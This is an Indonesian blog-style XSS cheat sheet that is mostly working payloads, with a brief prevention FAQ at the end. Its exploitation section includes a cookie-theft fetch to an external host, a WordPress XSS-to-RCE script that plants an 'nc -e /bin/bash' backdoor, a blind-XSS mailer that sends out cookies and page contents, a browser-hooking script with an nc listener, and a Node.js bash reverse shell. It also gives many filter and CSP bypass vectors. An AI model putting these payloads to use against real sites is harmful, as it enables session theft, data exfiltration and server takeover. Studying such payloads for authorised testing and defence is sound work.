Mengenal Serangan Cross Site Scripting [XSS]



Apa itu Cross Site Scripting (XSS)?

XSS terjadi ketika penyerang mengelabui aplikasi web agar mengirimkan data dalam bentuk yang dapat dijalankan oleh browser pengguna. Paling umum, ini adalah kombinasi dari HTML dan XSS yang disediakan oleh penyerang, tetapi XSS juga dapat digunakan untuk mengirimkan unduhan, plugin, atau konten media yang berbahaya. Penyerang dapat mengelabui aplikasi web dengan cara ini ketika aplikasi web mengizinkan data dari sumber yang tidak tepercaya — seperti data yang dimasukkan dalam formulir oleh pengguna atau diteruskan ke titik akhir API oleh perangkat lunak klien — untuk ditampilkan kepada pengguna tanpa lolos dengan benar .

Karena XSS dapat mengizinkan pengguna yang tidak tepercaya untuk mengeksekusi kode di browser pengguna tepercaya dan mengakses beberapa jenis data, seperti cookie sesi, kerentanan XSS memungkinkan penyerang mengambil data dari pengguna dan secara dinamis memasukkannya ke halaman web dan mengambil kendali situs atau aplikasi jika pengguna administratif atau istimewa menjadi sasaran.

Konten berbahaya yang dikirimkan melalui XSS dapat ditampilkan secara instan atau setiap kali halaman dimuat atau acara tertentu dilakukan. Serangan XSS bertujuan untuk menargetkan pengguna aplikasi web, dan mungkin sangat efektif karena muncul di dalam situs tepercaya.

Saya sangat berharap ini menjadi bahan konsultasi yang mudah diikuti untuk sebagian besar terkait XSS.

Konteks HTML – Injeksi Tag Sederhana
Gunakan saat masukan berada di dalam nilai atribut dari tag HTML atau di luar tag kecuali yang dijelaskan dalam kasus berikutnya.

<svg onload=alert(1)>
"><svg onload=alert(1)>

Konteks HTML – Dalam Injeksi Tag Blok
Gunakan saat input mendarat di dalam atau di antara pembukaan/penutupan tag berikut:
<title><style><script><textarea><noscript><pre><xmp> dan <iframe> (</tag> adalah
sesuai).

</tag><svg onload=alert(1)>
"></tag><svg onload=alert(1)>

Konteks HTML – Injeksi Sebaris
Gunakan saat input berada di dalam nilai atribut dari tag HTML tetapi tag tersebut tidak dapat
diakhiri dengan tanda lebih besar dari (>).

"onmouseover=alert(1)//
"autofocus/onfocus=alert(1)//

Konteks HTML – Injeksi Sumber
Gunakan saat input mendarat sebagai nilai dari atribut tag HTML berikut: href, src, data atau
action (juga formaction). Untuk src dalam tag skrip, gunakan panggilan skrip eksternal (URL) atau
“data:,alert(1)”. Payload ke-2 di bawah peringatan di luar konteks target untuk browser Webkit.

javascript:alert(1)
data:text/html,<svg onload=alert(1)>

Konteks Javascript – Injeksi Kode
Gunakan saat input mendarat di blok skrip, di dalam nilai yang dibatasi string.

'-alert(1)-'
'-alert(1)//

Konteks Javascript – Injeksi Kode dengan Escape Bypass
Gunakan saat input mendarat di blok skrip, di dalam nilai yang dibatasi string tetapi tanda kutip diloloskan oleh garis miring terbalik.

\'-alert(1)//

Konteks Javascript – Injeksi Kode di Blok Logis
Gunakan muatan ke-1 atau ke-2 saat input mendarat di blok skrip, di dalam nilai yang dibatasi string, dan di dalam blok logis tunggal seperti fungsi atau kondisional (jika, lainnya, dll). Jika kutipan lolos dengan garis miring terbalik, gunakan muatan ke-3.

'}alert(1);{'
'}alert(1)%0A{'
\'}alert(1);{//

Konteks Javascript – Injeksi Tag
Gunakan saat input mendarat di mana saja di blok skrip.

</script><svg onload=alert(1)>

Advanced

Refleksi Multi – Refleksi Ganda (Masukan Tunggal)
Gunakan untuk memanfaatkan beberapa pantulan pada halaman yang sama.

'onload=alert(1)><svg/1='
'>alert(1)</script><script/1='
*/alert(1)</script><script>/*

Refleksi Multi – Refleksi Tiga Kali (Masukan Tunggal)
Gunakan untuk memanfaatkan beberapa pantulan pada halaman yang sama.

*/alert(1)">'onload="/*<svg/1='
`-alert(1)">'onload="`<svg/1='
*/</script>'>alert(1)/*<script/1='

Refleksi Multi Input (Ganda & Tiga)
Gunakan untuk memanfaatkan beberapa pantulan masukan pada halaman yang sama.

p=<svg/1='&q='onload=alert(1)>
p=<svg 1='&q='onload='/*&r=*/alert(1)'>

Injeksi Pengunggahan File – Nama file
Gunakan saat nama file yang diunggah tercermin di suatu tempat di halaman target.

"><svg onload=alert(1)>.gif

Injeksi Pengunggahan File – Metadata
Gunakan ketika metadata file yang diunggah tercermin di suatu tempat di halaman target. Itu menggunakan baris perintah exiftool dan bidang metadata apa pun dapat diatur.

hacker@inthehouse:~$ exiftool -Artist='"><svg onload=alert(1)>' xss.jpeg

Injeksi Pengunggahan File – File SVG
Gunakan untuk membuat XSS yang tersimpan sesuai target saat mengunggah file gambar. Simpan konten di bawah sebagai "xss.svg".

<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"/>

Injeksi Sisipkan DOM
Gunakan untuk menguji XSS saat injeksi dimasukkan ke dalam DOM sebagai markup yang valid alih-alih tercermin dalam kode sumber. Ini berfungsi untuk kasus di mana tag skrip dan vektor lainnya tidak berfungsi.

<img src=1 onerror=alert(1)>
<iframe src=javascript:alert(1)>

Injeksi Sisipkan DOM – Permintaan Sumber Daya
Gunakan saat kode javascript halaman menyisipkan ke halaman hasil permintaan ke URL
yang dikendalikan oleh penyerang (injeksi).

data:text/html,<img src=1 onerror=alert(1)>
data:text/html,<iframe src=javascript:alert(1)>

Injeksi PHP_SELF
Gunakan ketika URL saat ini digunakan oleh kode PHP yang mendasari target sebagai nilai atribut dari
formulir HTML, misalnya. Menyuntikkan antara ekstensi php dan memulai bagian kueri (?) menggunakan garis miring (/).

https://hackerinthehouse.in/xss.php/"><svg onload=alert(1)>?a=reader

Injeksi Skrip – Tanpa Penutupan
Gunakan ketika ada tag skrip penutup (</script>) di suatu tempat di kode setelah refleksi.

<script src=data:,alert(1)>
<script src=//hackerinthehouse.in/1.js>

Javascript postMessage() Injeksi DOM (dengan Iframe)
Gunakan saat ada event listener “message” seperti di “window.addEventListener('message',
…)” dalam kode javascript tanpa memeriksa asal. Target harus bisa dibingkai (
header X-Frame Options sesuai konteks). Simpan sebagai file HTML (atau menggunakan data:teks/html) dengan menyediakan TARGET_URL dan INJEKSI (vektor atau payload XSS).

<iframe src=TARGET_URL onload="frames[0].postMessage('INJECTION','*')">

XSS berbasis XML
Gunakan untuk menyuntikkan vektor XSS di halaman XML (tipe konten teks/xml atau aplikasi/xml).

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(1)</x:script>
<x:script xmlns:x="http://www.w3.org/1999/xhtml" src="//hackerinthehouse.in/1.js"/>

Injeksi Templat Sisi Klien
Gunakan untuk menguji injeksi template sisi klien (berguna untuk injeksi AngularJS di bawah). Itu harus mengembalikan 1024 saat merender.

{{32*32}}

Injeksi AngularJS (v1.6 dan lebih tinggi)
Gunakan ketika ada perpustakaan AngularJS dimuat di halaman, di dalam blok HTML dengan
direktif ng-app atau buat milik Anda sendiri.

{{constructor.constructor('alert(1)')()}}
<x ng-app>{{constructor.constructor('alert(1)')()}}

Injeksi CRLF
Gunakan saat aplikasi merefleksikan input di salah satu header respons, memungkinkan injeksi
karakter Carriage Return (%0D) dan Line Feed (%0A). Vektor untuk Tokek dan Webkit,
masing-masing.

%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0A%0D%0A
%3Cscript%3Ealert(1)%3C/script%3E
%0D%0ALocation:%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection
%3a0%0D%0A%0D%0A%3Cscript%3Ealert(1)%3C/script%3E

Lewati Filter

Campuran Kasus XSS
Gunakan untuk mengabaikan filter peka huruf besar/kecil.

<Svg OnLoad=alert(1)>
<Script>alert(1)</Script>

Tag Tidak Tertutup
Gunakan dalam injeksi HTML untuk menghindari pemfilteran berdasarkan adanya tanda lebih rendah dari (<) dan lebih besar dari (>). Ini membutuhkan kode sumber asli yang lebih besar dari tanda masuk setelah refleksi masukan.

<svg onload=alert(1)//
<svg onload="alert(1)"

XSS huruf besar
Gunakan saat aplikasi mencerminkan input dalam huruf besar.

<SVG ONLOAD=&#97&#108&#101&#114&#116(1)>
<SCRIPT SRC=//HACKERINTHEHOUSE.IN/1></SCRIPT>

Konten Ekstra untuk Tag Skrip
Gunakan saat filter mencari “<script>” atau “<script src=…” dengan beberapa variasi tetapi tanpa
memeriksa atribut lain yang tidak dibutuhkan.

<script/x>alert(1)</script>

XSS Bersandi Ganda
Gunakan saat aplikasi melakukan decoding input ganda.

%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E
%2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E

Lansiran tanpa Tanda Kurung (Hanya String)
Gunakan dalam vektor HTML atau injeksi javascript ketika tanda kurung tidak diperbolehkan dan
kotak peringatan sederhana sudah cukup.

alert`1`

Lansiran tanpa tanda kurung
Gunakan dalam vektor HTML atau injeksi javascript ketika tanda kurung tidak diizinkan dan PoC
perlu mengembalikan info target apa pun.

setInterval`alert\x28document.domain\x29`
setTimeout`alert\x28document.domain\x29`

Lansiran tanpa tanda kurung (Tag Eksklusif)
Gunakan hanya dalam injeksi HTML jika tanda kurung tidak diperbolehkan. Ganti “&” dengan “%26” di URL.

<svg onload=alert&lpar;1&rpar;>
<svg onload=alert&#40;1&#41>

Lansiran tanpa Karakter Abjad
Gunakan saat karakter alfabet tidak diperbolehkan. Berikut adalah waspada(1).

[]['\146\151\154\164\145\162']['\143\157\156\163\164\162\165\143\164\157\162']
('\141\154\145\162\164\50\61\51')()

Kebingungan Peringatan
Gunakan untuk mengelabui beberapa filter ekspresi reguler (regex). Ini mungkin digabungkan dengan
alternatif sebelumnya (di atas). Opsi terpendek "top" juga dapat diganti dengan "window", "parent",
"self" atau "this" tergantung pada konteksnya.

(alert)(1)
a=alert,a(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top['al\145rt'](1)
top[8680439..toString(30)](1)

Injeksi Pengunggahan File – Penyamaran GIF HTML/js
Gunakan untuk melewati CSP melalui unggahan file. Simpan semua konten di bawah sebagai "xss.gif" atau "xss.js" (untuk pemeriksaan MIME yang ketat). Itu dapat diimpor ke halaman target dengan <link rel=import href=xss.gif> (juga “xss.js”) atau <script src=xss.js></script>. Ini gambar/gif untuk PHP.

GIF89a=//<script>
alert(1)//</script>;

Lompat ke Fragmen URL
Gunakan saat Anda perlu menyembunyikan beberapa karakter dari payload Anda yang akan memicu WAF misalnya. Itu menggunakan format payload masing-masing setelah fragmen URL (#).

eval(URL.slice(-8)) #alert(1)
eval(location.hash.slice(1)) #alert(1)
document.write(decodeURI(location.hash)) #<img/src/onerror=alert(1)>
* (Webkit only)
<svg/onload=innerHTML=location.hash> #<img/src/onerror=alert(1)>

Pemisah Alternatif HTML
Gunakan saat spasi default tidak diizinkan. Garis miring dan tanda kutip (tunggal atau ganda) mungkin
juga disandikan URL (masing-masing %2F, %27 dan %22), sedangkan tanda plus (+) hanya dapat digunakan di URL. Skema Tag:

<name [1] attrib [2] = [3] value [4] handler [5] = [6] js [7]>
[1], [2], [5] => %09, %0A, %0C, %0D, %20, / and +
[3] & [4] => %09, %0A, %0C, %0D, %20, + and ' or " in both
[6] & [7] => %09, %0A, %0B, %0C, %0D, %20, /, + and ' or " in both

Bypass Berbasis Tag Strip
Gunakan saat filter menghapus apa pun di antara karakter < dan >. Injeksi inline saja.

"o<x>nmouseover=alert<x>(1)//
"autof<x>ocus o<x>nfocus=alert<x>(1)//

Injeksi XSS Orde Kedua
Gunakan saat input Anda akan digunakan dua kali, seperti disimpan dinormalisasi dalam database dan kemudian diambil untuk digunakan nanti atau dimasukkan ke dalam DOM.

&lt;svg/onload&equals;alert(1)&gt;

Bypass Asal Peristiwa untuk postMessage() XSS
Gunakan saat pemeriksaan asal dapat dilewati dalam kode target javascript dengan menambahkan salah satu asal yang diizinkan sebagai subdomain dari domain penyerang yang akan mengirim muatan.
Contoh memanfaatkan skrip Crosspwn (tersedia di bagian Miscellaneous) di localhost.

http://facebook.com.localhost/crosspwn.php?
target=//hackerinthehouse.in/tests/status.html&msg=<script>alert(1)</script>

Bypass CSP (untuk Google Domains yang Dimasukkan ke Daftar Putih)
Gunakan jika ada CSP (Content-Security Policy) yang mengizinkan eksekusi dari domain ini.

<script src=https://www.google.com/complete/search?client=chrome%26jsonp=alert(1);>
</script>
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.6.0/angular.min.js></script><x 
ng-app ng-csp>{{constructor.constructor('alert(1)')()}}

Vektor tanpa Event Handler
Gunakan sebagai alternatif untuk penangan acara, jika tidak diizinkan. Beberapa memerlukan interaksi pengguna sebagaimana dinyatakan dalam vektor itu sendiri (juga bagian darinya).

<script>alert(1)</script>
<script src=data:,alert(1)>
<iframe src=javascript:alert(1)>
<embed src=javascript:alert(1)>
<a href=javascript:alert(1)>click
<math><brute href=javascript:alert(1)>click
<form action=javascript:alert(1)><input type=submit>
<isindex action=javascript:alert(1) type=submit value=click>
<form><button formaction=javascript:alert(1)>click
<form><input formaction=javascript:alert(1) type=submit value=click>
<form><input formaction=javascript:alert(1) type=image value=click>
<form><input formaction=javascript:alert(1) type=image src=SOURCE>
<isindex formaction=javascript:alert(1) type=submit value=click>
<object data=javascript:alert(1)>
<iframe srcdoc=<svg/o&#x6Eload&equals;alert&lpar;1)&gt;>
<svg><script xlink:href=data:,alert(1) />
<math><brute xlink:href=javascript:alert(1)>click

Vektor dengan Penangan Peristiwa Agnostik
Gunakan vektor berikut jika semua nama tag HTML yang dikenal tidak diizinkan. Karakter atau string abjad apa pun dapat digunakan sebagai nama tag sebagai pengganti "x". Mereka membutuhkan interaksi pengguna seperti yang dinyatakan oleh konten teks mereka sendiri (yang juga menjadi bagian dari vektor).

<x contenteditable onblur=alert(1)>lose focus!
<x onclick=alert(1)>click this!
<x oncopy=alert(1)>copy this!
<x oncontextmenu=alert(1)>right click this!
<x oncut=alert(1)>copy this!
<x ondblclick=alert(1)>double click this!
<x ondrag=alert(1)>drag this!
<x contenteditable onfocus=alert(1)>focus this!
<x contenteditable oninput=alert(1)>input here!
<x contenteditable onkeydown=alert(1)>press any key!
<x contenteditable onkeypress=alert(1)>press any key!
<x contenteditable onkeyup=alert(1)>press any key!
<x onmousedown=alert(1)>click this!
<x onmousemove=alert(1)>hover this!
<x onmouseout=alert(1)>hover this!
<x onmouseover=alert(1)>hover this!
<x onmouseup=alert(1)>click this!
<x contenteditable onpaste=alert(1)>paste here!

Komentar Alternatif Javascript
Gunakan ketika komentar javascript biasa (garis miring ganda) tidak diperbolehkan, lolos atau dihapus.

<!--
%0A-->

Eksploitasi

Panggilan Skrip Jarak Jauh
Gunakan saat Anda perlu memanggil skrip eksternal tetapi vektor XSS Anda berbasis penangan
(seperti <svg onload=) atau dalam injeksi javascript. Domain "brutelogic.com.br" bersama dengan
file HTML dan js digunakan sebagai contoh.

1. Berbasis HTML (respons harus berupa HTML dengan
header Access-Control-Allow-Origin (CORS))

"var x=new XMLHttpRequest();x.open('GET','//hackerinthehouse.in/0.php');x.send();
x.onreadystatechange=function(){if(this.readyState==4){write(x.responseText)}}"

fetch('//hackerinthehouse.in/0.php').then(function(r){r.text().then(function(w) {write(w)})})

* (with fully loaded JQuery library)
$.get('//hackerinthehouse.in/0.php',function(r){write(r)})

2. Berbasis Javascript (respon harus javascript)

with(document)body.appendChild(createElement('script')).src='//hackerinthehouse.in/2.js'
* (with fully loaded JQuery library)
$.getScript('//hackerinthehouse.in/2.js')

WordPress XSS ke RCE (hingga v4.9.1)
Gunakan itu sebagai skrip jarak jauh untuk dijalankan ketika admin WordPress mendapatkan XSS dengan pendengar seperti netcat di port 5855. Plugin "Hello Dolly" adalah targetnya di sini, tetapi hampir semua plugin lain dapat digunakan, mengubah file dan jalur yang sesuai.

p = '/wordpress/wp-admin/plugin-editor.php?';
q = 'file=hello.php';
s = '<?=`nc localhost 5855 -e /bin/bash`;';
a = new XMLHttpRequest();
a.open('GET', p+q, 0);
a.send();
$ = '_wpnonce=' + /nonce" value="([^"]*?)"/.exec(a.responseText)[1] +
'&newcontent=' + s + '&action=update&' + q;
b = new XMLHttpRequest();
b.open('POST', p+q, 1);
b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
b.send($);
b.onreadystatechange = function(){
if (this.readyState == 4) {
fetch('/wordpress/wp-content/plugins/hello.php');
}
}

Blind Mailer XSS
Gunakan itu sebagai skrip jarak jauh XSS buta yang disimpan sebagai file PHP dan ubah $to dan $headers vars sesuai. Server email yang berfungsi harus ada.


<?php header("Content-type: application/javascript"); ?>


var mailer = '<?php echo "//" . $_SERVER["SERVER_NAME"] .
$_SERVER["REQUEST_URI"] ?>';


var msg = 'USER AGENT\n' + navigator.userAgent + '\n\nTARGET URL\n' +
document.URL;
msg += '\n\nREFERRER URL\n' + document.referrer + '\n\nREADABLE
COOKIES\n' + document.cookie;
msg += '\n\nSESSION STORAGE\n' + JSON.stringify(sessionStorage) +
'\n\nLOCAL STORAGE\n' + JSON.stringify(localStorage);
msg += '\n\nFULL DOCUMENT\n' + document.documentElement.innerHTML;


var r = new XMLHttpRequest();
r.open('POST', mailer, true);
r.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
r.send('origin=' + document.location.origin + '&msg=' +
encodeURIComponent(msg));


<?php
header("Access-Control-Allow-Origin: " . $_POST["origin"]);
$origin = $_POST["origin"];
$to = "myName@myDomain";
$subject = "XSS Blind Report for " . $origin;
$ip = "Requester: " . $_SERVER["REMOTE_ADDR"] . "\nForwarded For: ".
$_SERVER["HTTP_X_FORWARDED_FOR"];
$msg = $subject . "\n\nIP ADDRESS\n" . $ip . "\n\n" . $_POST["msg"];
$headers = "From: report@myDomain" . "\r\n";
if ($origin && $msg) {
mail($to, $subject, $msg, $headers);
}
?>

Penyematan XSS Asing Tak Terlihat
Gunakan untuk memuat XSS dari domain lain (atau subdomain) ke domain saat ini. Dibatasi oleh
header X-Frame-Options (XFO) target. Contoh di bawah lansiran dalam konteks brutelogic.com.br
terlepas dari domainnya.

<iframe src="//hackerinthehouse.in/xss.php?a=<svg onload=alert(document.domain)>"
style=display:none></iframe>

Pencurian kue
Gunakan untuk mendapatkan semua cookie dari pengguna korban yang ditetapkan oleh situs target. Cookie tidak dapat dilindungi oleh bendera keamanan httpOnly.

fetch('//hackerinthehouse.in/?c='+document.cookie)

Deface Virtual Sederhana
Gunakan untuk mengubah tampilan situs kepada korban yang menyediakan kode HTML. Pada contoh di bawah ini, pesan “Tidak Ditemukan” ditampilkan.

<svg onload="documentElement.innerHTML='<h1>Not Found</h1>'">

Kontrol Jarak Jauh Peramban
Gunakan untuk menghubungkan browser dan mengirim perintah javascript ke sana secara interaktif. Gunakan kode javascript di bawah ini alih-alih alert(1) dalam injeksi Anda dengan terminal mirip Unix yang terbuka dengan skrip shell (pendengar) berikut. Berikan HOST sebagai nama host, alamat IP, atau domain untuk menerima perintah dari mesin penyerang.

Javascript:

setInterval(function(){with(document)body.
appendChild(createElement('script')).src='//HOST:5855'},100)

Listener

hacker@inthehouse:~$ while :; do printf "j$ "; read c; echo $c | nc -lp 5855 >/dev/null; done

Ragam

Halaman Tes Online XSS
Gunakan untuk berlatih vektor dan muatan XSS. Periksa kode sumber untuk titik injeksi.

https://hackerinthehouse.in/xss.php

Injeksi HTML Sadar-Filter Multi-Kasus
Gunakan sebagai sekali pakai untuk mendapatkan tingkat keberhasilan XSS yang lebih tinggi.

'"</Script><Html /Onmouseover=(alert)(1) //

Penundaan Eksekusi Javascript
Gunakan ketika perpustakaan javascript atau sumber daya lain yang diperlukan untuk injeksi tidak dimuat sepenuhnya dalam pelaksanaan payload. Panggilan eksternal berbasis JQuery digunakan sebagai contoh.

onload=function(){$.getScript('//hackerinthehouse.in/2.js')}
onload=x=>$.getScript('//hackerinthehouse.in/2.js')

Sumber yang Valid untuk Tag Gambar
Gunakan saat Anda membutuhkan atribut src yang valid untuk memicu peristiwa pemuatan alih-alih kesalahan.

<imgsrc=data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAAC
ADs=onload=alert(1)>

XSS terpendek
Gunakan ketika Anda memiliki slot terbatas untuk injeksi. Membutuhkan skrip asli (
sudah ada dalam kode sumber) dipanggil dengan jalur relatif ditempatkan setelah injeksi mendarat. Server penyerang harus membalas dengan skrip penyerang untuk permintaan persis yang dilakukan oleh skrip asli (jalur yang sama) atau dalam halaman 404 default (lebih mudah). Semakin pendek domain, semakin baik.

<base href=//knoxss.me>

Mobile-only Event Handlers
Gunakan saat menargetkan aplikasi seluler.

<html ontouchstart=alert(1)>
<html ontouchend=alert(1)>
<html ontouchmove=alert(1)>
<body onorientationchange=alert(1)>

Body Tag
Kumpulan vektor tubuh. Yang terakhir hanya berfungsi untuk browser Microsoft.

<body onload=alert(1)>
<body onpageshow=alert(1)>
<body onfocus=alert(1)>
<body onhashchange=alert(1)><a href=%23x>click this!#x
<body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<br><x id=x>#x
<body onresize=alert(1)>press F12!
<body onhelp=alert(1)>press F1!

Vektor XSS yang Kurang Dikenal
Kumpulan vektor XSS yang kurang dikenal.

<marquee onstart=alert(1)>
<marquee loop=1 width=0 onfinish=alert(1)>
<audio src onloadstart=alert(1)>
<video onloadstart=alert(1)><source>
<input autofocus onblur=alert(1)>
<keygen autofocus onfocus=alert(1)>
<form onsubmit=alert(1)><input type=submit>
<select onchange=alert(1)><option>1<option>2
<menu id=x contextmenu=x onshow=alert(1)>right click me!

Cross-Origin Script (Crosspwn)
Simpan konten di bawah ini sebagai file .php dan gunakan sebagai berikut:

http://facebook.com.localhost/crosspwn.php?
target=//hackerinthehouse.in/tests/status.html&msg=<script>peringatan(document.domain)

Di mana "facebook.com" adalah asal yang diizinkan dan "localhost" menyerang domain, "//hackerinthehouse.in/tests/status.html" adalah halaman target dan
"<script>alert(document.domain)" adalah pesan yang dikirim.

Penggunaan lainnya adalah untuk mengaktifkan onresize dan onhashchange body event handler tanpa
interaksi pengguna:

http://localhost/crosspwn.php?target=//hackerinthehouse.in/xss.php?
a=<body/onresize=alert(document.domain)>

Dan untuk mempersingkat dan menyembunyikan muatan yang disuntikkan, bidang tambahan "nama" dapat digunakan.

http://localhost/crosspwn.php?target=//hackerinthehouse.in/xss.php?
a=<svg/onload=eval(name)>&name=alert(document.domain)

Code:
<!DOCTYPE html>
<body onload="crossPwn()">
<h2>CrossPwn</h2>
<iframe src="<?php echo htmlentities($_GET['target'], ENT_QUOTES) ?>"
name="<?php echo $_GET['name'] ?>" height="0"
style="visibility:hidden"></iframe>
<script>
function crossPwn() {
frames[0].postMessage('<?php echo $_GET["msg"] ?>','*'); // onmessage
document.getElementsByTagName('iframe')[0].setAttribute('height', '1'); //
onresize
document.getElementsByTagName('iframe')[0].src = '<?php echo
$_GET["target"] ?>' + '#brute'; // onhashchange
}
</script>
</body>
</html>

Skrip XSS Finder Sederhana untuk PHP (Analisis Statis)
Gunakan untuk menemukan potensi kelemahan XSS dalam kode sumber PHP. Untuk sistem mirip Unix: simpan konten di bawah, izinkan eksekusi dan jalankan dengan ./filename. Ini berfungsi untuk file tunggal dan rekursif (folder dan sub-folder).

if [ -z $1 ]
then
echo -e "Usage:\n$0 FILE\n$0 -r FOLDER"
exit
else
f=$1
fi

sources=(GET POST REQUEST "SERVER\['PHP" "SERVER\['PATH_" "SERVER\
['REQUEST_U")
sinks=(? echo die print printf print_r var_dump)

xssam(){
for i in ${sources[@]}
do
a=$(grep -in "\$_${i}" $f | grep -o "\$.*=" | sed "s/[ ]\?=//g" | sort -u)
for j in ${sinks[@]}
do
grep --color -in "${j}.*\$_${i}" $f
for k in $a
do
grep --color -in "${j}.*$k" $f
done
done
done
}
if [ $f != "-r" ]
then
xssam
else
for i in $(find $2 -type f -name "*.php")

do
echo "File: $i"
f=$i
xssam
done
fi

Node.js RCE
Gunakan untuk eksekusi perintah di aplikasi Node.js yang rentan. Berikan HOST sebagai
nama host, alamat IP, atau domain untuk menerima shell terbalik dari server yang rentan.

Javascript:

require('child_process').exec('bash -c "bash -i >& /dev/tcp/HOST/5855 0>&1"')

Listener

hacker@inthehouse:~$ nc -lp 5855


Bagaimana XSS bekerja?
Serangan XSS biasanya melibatkan penyuntikan kode JavaScript berbahaya ke halaman web. Ini dapat dicapai melalui berbagai cara, seperti bypass validasi input, injeksi atribut, injeksi input formulir, injeksi parameter URL, dan injeksi cookie.

Apa saja jenis XSS yang berbeda?
Ada tiga jenis utama XSS: XSS tersimpan, XSS tercermin, dan XSS berbasis DOM. XSS Tersimpan terjadi ketika kode berbahaya disuntikkan ke dalam database dan ditampilkan ke pengguna lain. XSS Tercermin terjadi ketika kode berbahaya disuntikkan ke dalam parameter URL dan ditampilkan kepada pengguna. XSS berbasis DOM terjadi ketika kode berbahaya dijalankan dengan memanipulasi Model Objek Dokumen (DOM) halaman web.

Bagaimana saya bisa mencegah serangan XSS?
Anda dapat mencegah serangan XSS dengan menerapkan berbagai teknik pencegahan, seperti validasi masukan, penyandian keluaran, keamanan cookie, dan menggunakan Kebijakan Keamanan Konten (CSP). Penting untuk memvalidasi input pengguna, menyandikan output, mengamankan cookie Anda, dan menggunakan Kebijakan Keamanan Konten untuk melindungi dari serangan XSS.

Apa saja contoh umum serangan XSS?
Beberapa contoh umum serangan XSS termasuk mencuri cookie, mengarahkan pengguna ke situs web jahat, mencuri data pengguna, memasang malware, dan melakukan tindakan atas nama pengguna.

Bagaimana saya bisa menguji kerentanan XSS di aplikasi web saya?
Anda dapat menguji kerentanan XSS di aplikasi web Anda menggunakan berbagai alat dan teknik, seperti pengujian manual, pengujian otomatis, dan pemindai kerentanan. Penting untuk menguji aplikasi web Anda secara teratur untuk kerentanan XSS guna memastikan keamanannya.

Apa saja praktik terbaik untuk mencegah serangan XSS?
Beberapa praktik terbaik untuk mencegah serangan XSS termasuk memvalidasi input pengguna, mengodekan output, menggunakan Kebijakan Keamanan Konten, menerapkan keamanan cookie, dan terus mengikuti praktik terbaik dan pembaruan keamanan. Selain itu, mengedukasi pengguna tentang risiko serangan XSS dan cara melindungi diri sendiri juga dapat membantu mencegah serangan XSS.

Serangan XSS dapat menimbulkan konsekuensi serius bagi aplikasi web dan penggunanya. Namun, dengan mengikuti teknik pencegahan yang diuraikan dalam lembar contekan XSS kami, Anda dapat mengurangi risiko kerentanan XSS secara signifikan. Ingatlah untuk selalu memvalidasi input pengguna, menyandikan output, mengamankan cookie Anda, dan menggunakan Kebijakan Keamanan Konten untuk melindungi dari serangan XSS.

أحدث أقدم